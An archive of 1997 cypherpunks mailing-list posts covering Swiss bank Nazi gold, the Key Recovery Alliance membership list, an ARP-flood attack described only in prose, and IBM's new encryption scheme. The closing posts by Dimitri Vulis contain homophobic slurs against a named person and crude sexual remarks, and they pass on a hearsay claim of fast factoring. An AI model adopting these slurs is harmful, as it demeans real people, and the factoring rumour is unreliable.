a valid title to the property from someone who did not have such title.

E.g., if you steal Vulis's car and then sell it to me, I will not have
the title to the car and will have to return it back to Vulis (and may
be able to try to recover my loss from you). The same will be true if
you lend the stolen car to me -- he can get it back if he proves that it
is his.

I find that reasoning to be quite good.

Lending stolen money (or stolen golden teeth) to banks is no different
than lending stolen cars.

American law does not have to apply to Switzerland, but I find that 
particular part of it to be just. The issue, of course, is coming up
with the proof.

I will appreciate if someone could correct me.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 09:14:11 +0800
To: sunder@brainlink.com (Ray Arachelian)
Subject: Re: Custom programming, Web site design & development, and more.
In-Reply-To: <Pine.SUN.3.91.970507113312.999G-100000@beast.brainlink.com>
Message-ID: <199705080051.TAA00842@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


does he still sell zeros?

igor

Ray Arachelian wrote:
> 
> So, now that your snake oil products have been proven as full of holes as 
> swiss cheese, you're back to spam us with offers of your "services?"  Go 
> away!
> 
> On Tue, 6 May 1997, DataET Research Data Engineering Technologies wrote:
> 
> > Visit DataET Research, an excellent source for high-quality, but extensively 
> > inexpensive, software development and marketing solutions.
> > 
> > SERVICES:
> > 
> > o Custom Software Development Service
> > o Custom Database Application Development Service
> > o Help File / System Development Service
> > o Installation Program Development Service
> > o Shareware Distribution & Marketing Service
> > o Trial Usage Tracking System Development Service
> > o Web Site Design & Development Service
> > o Press Release Distribution Service
> > 
> > If you are interested in having a spectacular Web site or customized software 
> > package developed for your organization, VISIT: http://www.dataet.com.
> > 
> > Free cost and time estimates are given.
> > 
> > PRODUCTS:
> > 
> > o VSA2048 Crytography (Encryption) Module
> > o VSA2048 QuickCrypt (Encryption)
> > 
> > If you are interested in trying out the latest encryption software developed by 
> > DataET Research, VISIT: http://www.dataet.com.
> > 
> > Shareware trial edition versions are available.
> > 
> > DataET Research
> > Data Engineering Technologies
> > VISIT: http://www.dataet.com
> > 
> > 
> > ---------------------------------------------------------
> > Get Your *Web-Based* Free Email at http://www.hotmail.com
> > ---------------------------------------------------------
> > 
> > 
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> .+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
> ..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
> <--*-->| ------------------ |                                        |\/|\/
> ../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> .+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 8 May 1997 11:14:44 +0800
To: cypherpunks@algebra.com
Subject: List of GAK supporters
Message-ID: <Pine.3.89.9705071942.A10252-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


Below is a list of the members of the "Key Recovery Alliance" who are 
working hard to make the world safe for GAK. I intend to boycott them, 
though that may not be possible, since the "Allicance" seems to include just 
about anybody in the computer industy. It is sickening.

 

Baltimore Technologies nCipher Corp. Boeing NEC
     Cryptomathic Portland Software GemPlus RedCreek
     Communications Frontier Technologies Corp. RPK Fujitsu
     Ltd. Silicon Graphics, Inc. Hitachi Spyrus Open Horizon, Inc.
     Sterling Commerce Intel Tandem IRE Technical
     Communications Corp. Mitsubishi Electric America Toshiba 
America Online, Inc. Mytec Technologies, Inc. Apple
     Computer, Inc. NCR Corp. Atalla Network Systems Group
     of StorageTek Certicom Novell, Inc. Compaq Computer
     Corp. PSA CygnaCom Solutions, Inc. Price Waterhouse
     Cylink Corp. Racal Data Group Data Securities International
     Inc. Rainbow Technologies First Data Corp. RSA Digital
     Equipment Corp. SafeNet Trusted Services Corp. Digital
     Signature Trust Company Secure Computing Corp. Entrust
     Technologies SourceFile Gradient Technologies, Inc. Sterling
     Commerce Groupe Bull Sun Microsystems, Inc.
     Hewlett-Packard Trusted Information Systems, Inc. IBM
     Unisys ICL UPS McAfee Utimaco Mergent Mitsubishi
     Corporation of Japan VPNet Technologies Motorola 


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Zirko <lzirko@aye.net>
Date: Thu, 8 May 1997 08:42:03 +0800
To: Secret Squirrel <nobody@squirrel.owl.de>
Subject: Re:
In-Reply-To: <19970507211644.11165.qmail@squirrel.owl.de>
Message-ID: <3.0.1.32.19970507201902.0094d210@aye.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Gee, is this still going on?  I just re-subscrived to this list after a few
months of silence and this is the first message that I get!

It's amazing how things stay the same, regardless of the advances.

At 09:16 PM 5/7/97 -0000, you wrote:
>Date: Wed, 7 May 1997
>From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
>To: lucifer Anonymous Remailer <lucifer@dhp.com>
>Cc: cypherpunks@toad.com
>Subject: Re: PGP
>
>
>I think Vulis needs each of us to send ten copies of this back to
>him.
>
>On Tue, 6 May 1997, lucifer Anonymous Remailer wrote:
>
>> Tim C[retin] Mayflower styles his facial hair to look more
>> like Graham-John Bullers.
>>
>>       ,,,
>>  -ooO(o o)Ooo- Tim C[retin] Mayflower
>>       (_)
>>
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>Graham-John Bullers                      Modulator of alt.2600.modulated
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>         http://www.freenet.edmonton.ab.ca/~real/index.html
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>
>
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM3Eb0AiQdpqp9N0zAQHAMQf/SLqM0B+gK8s+4VQauk5SbO0/pSFYbGNg
PxvjcQ22YKbh8OTzZaGY4OyFgf745xCbLHUyieTnm+2NKKtDgqh395am7asglNGI
KoLb4AgckRKUYkvfZV6pGdVkWMfW3IqZD9bVKDfgdGwgUuDweQwzrup9xAnZVwG4
LIcAWyv6gmKrooyIMcv/RO+wQqSgXJwa0iW7FZqRgAJQaly6JcCd9sbTBcLtYbPz
Sc02Ndv0scdOHoHSrra3gjIQ5cCqcnAKoeY12RgvJoobcfTY7GrNG6tCLwwhPk5u
Fa85rcQ90gNf8dclBOieZbcTVmZ3oubwDdimhlr70Jr8fvaeF3RJvQ==
=PCIl
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 8 May 1997 12:34:18 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03020902af966ed17bf4@[139.167.130.248]>
Message-ID: <v03007802af96f9a0519a@[207.94.249.88]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:39 AM -0700 5/7/97, Robert Hettinga forwarded:
>The hackers have devised
>a system which sends millions of random "arp" requests to a router, which
>can disable the whole network for hours. This type of attack has never
>occurred before.

It is quite obvious to anyone who cares to give it even a moment's thought
that the currently installed Internet Protocols are still in the age of
cooperative communicators.  While some work, e.g. DNSSEC, has addressed
part of this problem, the bulk of it remains.

Now, if we could only go back 30 years and give C a reasonable string
model, we might be able to eliminate 50% of the known holes in Unix
security.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Thu, 8 May 1997 14:46:20 +0800
To: "hanabusa@bnn-net.or.jp>
Subject: RE: TV Documentary "Crypto Wars" ON AIR in J
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/00019765@MEX3976BCAOP1>
MIME-Version: 1.0
Content-Type: text/plain



Anybody got transcripts for this?

 ----------
From: Sh.Hanabusa
To: ARTURO GRAPA YSUNZA; cypherpunks@toad.com
Subject: TV Documentary "Crypto Wars" ON AIR in J
Date: Monday, April 28, 1997 5:12AM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: Sh.Hanabusa
Para:  ARTURO GRAPA YSUNZA
     cypherpunks@toad.com
Asunto:  TV Documentary "Crypto Wars" ON AIR in J
Fecha: 1997-04-28 05:12
Prioridad: 3
Ident. del mensaje: A3CAF0779BBDD011AF92006097838CEB

 -----------------------------------------------------------------------
----- --

TV Documentary "CRYPTO WARS" (60min)
On air at 8pm Apr 28th (only in Japan)

 ------------------------------------------
Cast;

Sameer Parekh / C2NET
Ian Goldberg
Tim May
Bill Stewart
Hugh Daniel
Vince Cate

Phil Zimmermann / PGP Inc.

Eric Schmidt / Sun Microsystems
Jeff Treuhaft / Netscape Communications

Stewart Baker
Dorothy Denning
William Reinsh / Commerce Dept.
 --------------------------------------------

Contents;

What is the cypherpunks?
RSA Conference
US Government's Export Controls
Ian Goldberg's 40bit RC5 crack
What is the NSA?
Feb. Cypherpunks Meeting at Stanford
PGP 1.0
Silicon Valley vs US Government
Strategy of the "C2 Net"
Discussion about "Key Recovery"
Financial Cryptography Conference in Anguilla

 ----------------------------------------------

Special thanks for your cooperations

   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
     Shuichiro Hanabusa (hanabusa@bnn-net.or.jp)
     Producer/ Special Programs
     NHK Enterprises 21 Inc.
     Location: Tokyo/ Japan
   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 8 May 1997 06:51:19 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970507211644.11165.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Date: Wed, 7 May 1997
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Cc: cypherpunks@toad.com
Subject: Re: PGP


I think Vulis needs each of us to send ten copies of this back to
him.

On Tue, 6 May 1997, lucifer Anonymous Remailer wrote:

> Tim C[retin] Mayflower styles his facial hair to look more
> like Graham-John Bullers.
>
>       ,,,
>  -ooO(o o)Ooo- Tim C[retin] Mayflower
>       (_)
>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Thu, 8 May 1997 13:15:47 +0800
To: "shamrock@netcom.com>
Subject: RE: List of GAK supporters
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/00019760@MEX3976BCAOP1>
MIME-Version: 1.0
Content-Type: text/plain



I was surprised not to see Netscape or Microsoft on the list.

Anybody know the URL of a web site that publishes and regularly updates
this list?

 ----------
From: Lucky Green
To: ARTURO GRAPA YSUNZA; cypherpunks@algebra.com
Subject: List of GAK supporters
Date: Wednesday, May 07, 1997 11:04PM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: Lucky Green
Para:  ARTURO GRAPA YSUNZA
     cypherpunks@algebra.com
Asunto:  List of GAK supporters
Fecha: 1997-05-07 23:04
Prioridad: 3
Ident. del mensaje: A9BE1E3B71C6D011AF95006097838CEB

 -----------------------------------------------------------------------
----- --

Below is a list of the members of the "Key Recovery Alliance" who are
working hard to make the world safe for GAK. I intend to boycott them,
though that may not be possible, since the "Allicance" seems to include
just
about anybody in the computer industy. It is sickening.



Baltimore Technologies nCipher Corp. Boeing NEC
     Cryptomathic Portland Software GemPlus RedCreek
     Communications Frontier Technologies Corp. RPK Fujitsu
     Ltd. Silicon Graphics, Inc. Hitachi Spyrus Open Horizon, Inc.
     Sterling Commerce Intel Tandem IRE Technical
     Communications Corp. Mitsubishi Electric America Toshiba
America Online, Inc. Mytec Technologies, Inc. Apple
     Computer, Inc. NCR Corp. Atalla Network Systems Group
     of StorageTek Certicom Novell, Inc. Compaq Computer
     Corp. PSA CygnaCom Solutions, Inc. Price Waterhouse
     Cylink Corp. Racal Data Group Data Securities International
     Inc. Rainbow Technologies First Data Corp. RSA Digital
     Equipment Corp. SafeNet Trusted Services Corp. Digital
     Signature Trust Company Secure Computing Corp. Entrust
     Technologies SourceFile Gradient Technologies, Inc. Sterling
     Commerce Groupe Bull Sun Microsystems, Inc.
     Hewlett-Packard Trusted Information Systems, Inc. IBM
     Unisys ICL UPS McAfee Utimaco Mergent Mitsubishi
     Corporation of Japan VPNet Technologies Motorola


 -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail
preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 8 May 1997 11:02:32 +0800
To: ichudov@algebra.com (Igor Chudov @ home)
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <199705080050.TAA00821@manifold.algebra.com>
Message-ID: <199705080238.VAA09065@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705080050.TAA00821@manifold.algebra.com>, on 05/07/97 at 06:50 PM,
   ichudov@algebra.com (Igor Chudov @ home) said:


>Tim May wrote:
>> I try to deconstruct events, to determine what the real issues are.
>> 
>> Take the case of the ongoing flap over Switzerland and claims that Swiss
>> banks hid gold, jewels, and other forms of money for high-ranking Nazis.
>> Adding to the flap--actually, making it a newsworthy event--is the
>> allegation, probably true, that some of the gold was taken from Jews and
>> others sent to extermination camps.

>... snip ...

>> OK, so it's clear to all right-thinking persons what should be done:
>> Switzerland should return the money to the heirs of those killed by the
>> Nazis.
>> 
>> Ah, but it's not so clear to me. I guess I'm not a right-thinking person.

>According to americal common law, as I understand it, no one can get a
>valid title to the property from someone who did not have such title.

>E.g., if you steal Vulis's car and then sell it to me, I will not have the
>title to the car and will have to return it back to Vulis (and may be able
>to try to recover my loss from you). The same will be true if you lend the
>stolen car to me -- he can get it back if he proves that it is his.

>I find that reasoning to be quite good.

>Lending stolen money (or stolen golden teeth) to banks is no different
>than lending stolen cars.

>American law does not have to apply to Switzerland, but I find that 
>particular part of it to be just. The issue, of course, is coming up with
>the proof.

>I will appreciate if someone could correct me.

It is an intresting approach to justify current action agains the Swiss
Banks. If you could prove that the Swiss received stolen property what
about the "statute of limitations"? Most US crimes require that they be
prosecuted within x # of years ( I think that theft is 7yrs. ). Considering
that this all happened over 50yrs and AFAIK no capital crimes have been
commited by the swiss banks even if they are "guilty" of receiving stolen
property I can hardly see how they can be held accountable now.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The CP/M of the future!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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GeI+/B+LNPEQHcCdvaGpl/ujnsN/WU/ASj/6cvG04ifkcggDYtMJ6UM+Kki9Gysj
EaC1sZWXRA==
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Thu, 8 May 1997 12:47:44 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: List of GAK supporters
In-Reply-To: <Pine.3.89.9705071942.A10252-0100000@netcom19>
Message-ID: <v03102800af9707e24dba@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
>Below is a list of the members of the "Key Recovery Alliance" who are
>working hard to make the world safe for GAK. I intend to boycott them,
>though that may not be possible, since the "Allicance" seems to include just
>about anybody in the computer industy. It is sickening.
>
>
>Baltimore Technologies nCipher Corp. Boeing NEC
>     Cryptomathic Portland Software GemPlus RedCreek
>     Communications Frontier Technologies Corp. RPK Fujitsu
>     Ltd. Silicon Graphics, Inc. Hitachi Spyrus Open Horizon, Inc.
>     Sterling Commerce Intel Tandem IRE Technical
>     Communications Corp. Mitsubishi Electric America Toshiba
>America Online, Inc. Mytec Technologies, Inc. Apple
>     Computer, Inc. NCR Corp. Atalla Network Systems Group
>     of StorageTek Certicom Novell, Inc. Compaq Computer
>     Corp. PSA CygnaCom Solutions, Inc. Price Waterhouse
>     Cylink Corp. Racal Data Group Data Securities International
>     Inc. Rainbow Technologies First Data Corp. RSA Digital
>     Equipment Corp. SafeNet Trusted Services Corp. Digital
>     Signature Trust Company Secure Computing Corp. Entrust
>     Technologies SourceFile Gradient Technologies, Inc. Sterling
>     Commerce Groupe Bull Sun Microsystems, Inc.
>     Hewlett-Packard Trusted Information Systems, Inc. IBM
>     Unisys ICL UPS McAfee Utimaco Mergent Mitsubishi
>     Corporation of Japan VPNet Technologies Motorola
>
I wonder how many of these companies signed up
"just to appear on the list".

Apple, as far as I know, has no GAK project in place.
In fact, as far as I know, the last GAK-related action
that anyone at Apple has participated, was to participate in
the original press release.

This is not meant as a defense of Apple. I have discussed
their support of this organization with senior management there,
and tried to convince them of the errors of their ways. Rather,
it is a comment on their current activities regarding GAK.

Apple also happens to be the one company on that list that
I have non-public knowledge of.


-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 8 May 1997 10:58:36 +0800
To: Lou Zirko <lzirko@aye.net>
Subject: Re:
In-Reply-To: <3.0.1.32.19970507201902.0094d210@aye.net>
Message-ID: <199705080239.VAA09085@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.1.32.19970507201902.0094d210@aye.net>, on 05/07/97 at 06:19 PM,
   Lou Zirko <lzirko@aye.net> said:


>Gee, is this still going on?  I just re-subscrived to this list after a
>few months of silence and this is the first message that I get!

>It's amazing how things stay the same, regardless of the advances.

Yep, about the only thing that has changed is that my twit/spam filter has
grown alot larger.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If at first you don't succeed, work for Microsoft.

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Version: 2.6.2
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4pZXZInt8blOvj4xBDtK4EfgYyEV8QPFDnGteMAnkZVaO0D+SpHnY2iZp2rVHE2J
rK+7uMp/JkA=
=HC21
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 8 May 1997 11:17:59 +0800
To: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Subject: Re: (fwd) Elctronic Funds Transfer Expansion Act
In-Reply-To: <199705072216.SAA25634@yakko.cs.wmich.edu>
Message-ID: <199705080304.WAA09423@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705072216.SAA25634@yakko.cs.wmich.edu>, on 05/07/97 at 04:16 PM,
   Damaged Justice <frogfarm@yakko.cs.wmich.edu> said:


>>From Post Office Credit Union' _Credit Union Post_, Spring 1997:

>Congress recently passed a law making it mandatory to receive government
>payments by direct deposit to a financial institution. It's called
>"Electronic Funds Transfer Expansion Act," and it requires all federal
>payments, except an IRS refund check to be issued by electronic funds
>transfer (Direct Deposit).

This is nothing new. They did this to the Military Payroll back in the mid
1980's. Most if not all civilian Fed workers are already receiving DD
payments.

Their has been a long time desire by the Feds to move us to a cashless
society. No checks, No cash, no coins all electronic transfers. This is
just one more step in that direction.

While from an economic standpoint there are many reason to do this as it is
much cheaper to move bits than to move pieces of wood pulp. From a
security/privacy standpoint there are just as many reasons *not* to do
this. Smart Cards, Debit Cards, Credit Cards, ... et al. will not support
anonymous transactions. The current power brokers will not give up control
of the money regardless of what form it takes.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I went window shopping...and bought OS/2!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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SPpmdw7q9vGTWpitkCx3Tz5311GkpYUSUhrPYWQ+itDGRAdZZ//wzQjuRNazNoEe
eAYxE7qVg58rEzLVIoNbKbOVhTE0Ovfjs6ANi/t5WBmMvRY7CliDpgWEt7RetPkf
P6/OwioE7kc=
=NyZv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 8 May 1997 13:00:57 +0800
To: Marshall Clow <mclow@owl.csusm.edu>
Subject: Re: List of GAK supporters
Message-ID: <3.0.32.19970507215109.006ac2a8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 PM 5/7/97 -0700, Marshall Clow wrote:
>Apple, as far as I know, has no GAK project in place.
>In fact, as far as I know, the last GAK-related action
>that anyone at Apple has participated, was to participate in
>the original press release.

Which was a big mistake. I know I complained loudly to them. I suspect
others did as well.

>This is not meant as a defense of Apple. I have discussed
>their support of this organization with senior management there,
>and tried to convince them of the errors of their ways. Rather,
>it is a comment on their current activities regarding GAK.

Do you feel you had success in discussing this issue with them?

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 11:04:40 +0800
To: whgiii@amaranth.com (William H. Geiger III)
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <199705080238.VAA09065@mailhub.amaranth.com>
Message-ID: <199705080257.VAA11981@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


William H. Geiger III wrote:
>    ichudov@algebra.com (Igor Chudov @ home) said:
> >Tim May wrote:
> >> I try to deconstruct events, to determine what the real issues are.
> >> 
> >> Take the case of the ongoing flap over Switzerland and claims that Swiss
> >> banks hid gold, jewels, and other forms of money for high-ranking Nazis.
> >> Adding to the flap--actually, making it a newsworthy event--is the
> >> allegation, probably true, that some of the gold was taken from Jews and
> >> others sent to extermination camps.
> 
> >... snip ...
> 
> >> OK, so it's clear to all right-thinking persons what should be done:
> >> Switzerland should return the money to the heirs of those killed by the
> >> Nazis.
> >> 
> >> Ah, but it's not so clear to me. I guess I'm not a right-thinking person.
> 
> >According to americal common law, as I understand it, no one can get a
> >valid title to the property from someone who did not have such title.
> 
> >E.g., if you steal Vulis's car and then sell it to me, I will not have the
> >title to the car and will have to return it back to Vulis (and may be able
> >to try to recover my loss from you). The same will be true if you lend the
> >stolen car to me -- he can get it back if he proves that it is his.
> 
> >I find that reasoning to be quite good.
> 
> >Lending stolen money (or stolen golden teeth) to banks is no different
> >than lending stolen cars.
> 
> >American law does not have to apply to Switzerland, but I find that 
> >particular part of it to be just. The issue, of course, is coming up with
> >the proof.
> 
> >I will appreciate if someone could correct me.
> 
> It is an intresting approach to justify current action agains the Swiss
> Banks. If you could prove that the Swiss received stolen property what
> about the "statute of limitations"? Most US crimes require that they be
> prosecuted within x # of years ( I think that theft is 7yrs. ). Considering
> that this all happened over 50yrs and AFAIK no capital crimes have been
> commited by the swiss banks even if they are "guilty" of receiving stolen
> property I can hardly see how they can be held accountable now.

The Swiss banks did not commit any crimes, or at least I do not see any
crimes having been committed. They simply (in my view, if the cold facts
are true and convincing) are in possession of stolen property, which has
to be returned to their owner or their owners' estates or something like
that.

It is, like, if I buy a stolen car, as long as I was not aware or any
impropriety, I cannot be prosecuted (is that correct?). But the owner 
can take my car back regardless of how long I had it. It is not intended
to be a punishment, but rather a restoration of the original ownership.

This principle, among other things, seeks to discourage people from buying
stolen goods.

Again, please correct me if I am mistaken.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 8 May 1997 13:17:40 +0800
To: Bill Frantz <cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
Message-ID: <3.0.32.19970507220052.0073faa8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:35 PM 5/7/97 -0700, Bill Frantz wrote:
>Now, if we could only go back 30 years and give C a reasonable string
>model, we might be able to eliminate 50% of the known holes in Unix
>security.

Though shalt not use static size buffers for variable length data. [I don't
need to tell this to Bill and many others on this list. The rest better
chisel it in granite. :-]



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 11:06:49 +0800
To: cypherpunks@toad.com
Subject: Re: Igor's Diabolical Mind
In-Reply-To: <199705072327.QAA09304@fat.doobie.com>
Message-ID: <Da7c7D41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:
>   (I am blessed with breasts which allow me to set a man's car on
> fire and know he will just smile, and say, "That's OK, I'll get
> another one.")

Unless it's a faggot like the Lying Cocksucker John Gilmore[tm]

> that it won't occur again and moving on. (Much like some of the
> hilarious posts in the cypherpunks archives in which a list
> member responds to a Vulis post by saying, "Just ignore him
> and he'll go away." and then proceed to take two or three
> pot-shots at him.)

Yes - homosexuality is a mental defect that expresses itself in many
ways - not just limited to sexual perversions and net.censorship.

> (.)(.)Monger

Nice tits!!!!1!1!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 11:28:33 +0800
To: cypherpunks@toad.com
Subject: Re: IBM's New Algo
In-Reply-To: <199705080041.TAA00687@manifold.algebra.com>
Message-ID: <yZ7c7D42w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > John Young <jya@pipeline.com> writes:
> > >    The New York Times, May 7, 1997, p. D5.
> > >    I.B.M. Researchers Develop A New Encryption Formula
> > >    The system is based on a problem that has defied solution
> > >    by mathematicians for 150 years, I.B.M. said.
> >
> > I had an interesting conversation a few weeks ago with a friend who has
> > a closed-form solution to a well-known problem that's been unsolved for
> > about that long.  He has no intention of publishing it, but he has already
> > made quite a bit of $$$ on it. :-)
> >
> > I've known the guy for a number of years and it's not the first time he get
> > a good result and makes money on it instead of yet another paper in a
> > refereed journal.  In general, lots more is known to some people than is
> > published. E.g. it's possible that some of stuff I did for my Ph.D. thesis
> > was done by the British crypto people but never made it to the open literat
> >
> > >    Mr. Schneier said that the cryptographic formulas now in
> > >    use were already robust enough. The biggest challenge, he
> > >    said, is creating security systems in the real world that
> > >    are not vulnerable to hackers.
> > >
> > >    "Cryptography is a lot more than math" he said.
> >
> > Let me get this straight - Schneier claims that factoring is secure now and
> > will remain secure in the future?
>
> Let me get this straight -- did your friend discover a closed form
> solution to the factoring problem?

Nope, the guy I had in mind solved something else which to me was about
as interesting.

But yes, I also heard via a grapevine that "a friend of a friend" claims to
have found a trick for factoring a product of 2 arbitrarily large primes
(hundreds of decimal digits) very quickly ("minutes on a PC"). I don't
believe in reputations in general, but his is such that this may be true.

---

Dr.Dimitri Vulis KOTM
